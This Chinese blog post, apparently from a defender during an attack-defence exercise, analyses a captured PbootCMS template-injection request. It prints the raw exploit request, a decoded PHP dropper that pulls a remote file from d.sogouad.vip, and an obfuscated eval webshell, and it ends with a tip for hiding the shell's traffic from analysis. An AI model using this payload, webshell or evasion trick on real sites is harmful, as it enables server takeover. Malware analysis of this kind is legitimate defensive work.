前言

无聊的HW时候,千篇一律的扫描器,终于遇到一个半人工,payload有点质量。

捕获payload

GET /{pboot:if(("file_put_co"."ntents")("temp.php",("base6"."4_decode")("PD9waHAgCmZpbGVfcHV0X2NvbnRlbnRzKCcuL2NvcmUvYmFzaWMvZnVuLnBocCcsZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9kLnNvZ291YWQudmlwL3R4dC9tYTEudHh0JykpOwplY2hvICd0ZW1wMTExODg4JzsKdW5saW5rKF9fRklMRV9fKTs=")))}{/pboot:if}/../../?p=20 HTTP/1.1 
Accept-Encoding:identity 
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 
Referer:http://n666888.com 
Connection:close 

分析

具体这个是哪个漏洞的payload不太清楚,网上搜了一下好像是pbootcms,但没有搜到具体的漏洞信息。

直接把base64编码解码看看。

<?php 
file_put_contents('./core/basic/fun.php',file_get_contents('http://d.sogouad.vip/txt/ma1.txt'));
echo 'temp111888';
unlink(__FILE__);

访问链接地址,发现是个混淆过的php马。

去微步情报社区搜索相关域名信息,发现不只这一个样本。

而且ma1.txt这个文件已经被标红了,我们直接找个绿的看看。

yj.txt

只有一个引擎检出,而且动态分析失败。

<?php
global $phpjiami_decrypt;
$phpjiami_decrypt['��î����Ë����֯��������֔��å��']=base64_decode('c3RybGVu'); 
$phpjiami_decrypt['�������������Ĉ�������Ô���È֯�']=base64_decode('Y2hy');
$phpjiami_decrypt['����ֈ������֯�������È���������']=base64_decode('aGV4ZGVj'); 
$phpjiami_decrypt['�þ�Ë���־����È֮Ë��Ô�������']=base64_decode('aGV4VG9TdHI='); ?>

<?php
class _ {
    static public $phpcms=Null;
    function __construct($l="error"){
        self::$phpcms=$l;
        @eval(null.null.self::$phpcms);
    }
}
function hexToStr($hex){
    $str="";
    for($i=0;$i<$GLOBALS['phpjiami_decrypt']['��î����Ë����֯��������֔��å��']($hex)-1;$i+=2)
        $str.=$GLOBALS['phpjiami_decrypt']['�������������Ĉ�������Ô���È֯�']($GLOBALS['phpjiami_decrypt']['����ֈ������֯�������È���������']($hex[$i].$hex[$i+1]));

    return $str;

}

$error =null.$GLOBALS['phpjiami_decrypt']['�þ�Ë���־����È֮Ë��Ô�������'](@$_POST["admin@888"]);
$d =new _($error);

?>

可以看到这里主要是使用乱码的变量名,来混淆样本,这里自己构造时可以用hex编辑工具来操作。

然后使用了null.null.self::$phpcms来传递参数,让查杀软件识别不了参数传递关系。

大概就是这样了,然后传递hex编码后的admin@888参数,即可执行命令。

感觉这里如果为了再让流量分析困难点,可以将hexToStr中的$hex[$i].$hex[$i+1])交换位置,这样从流量不能一眼发现异常的hex编码。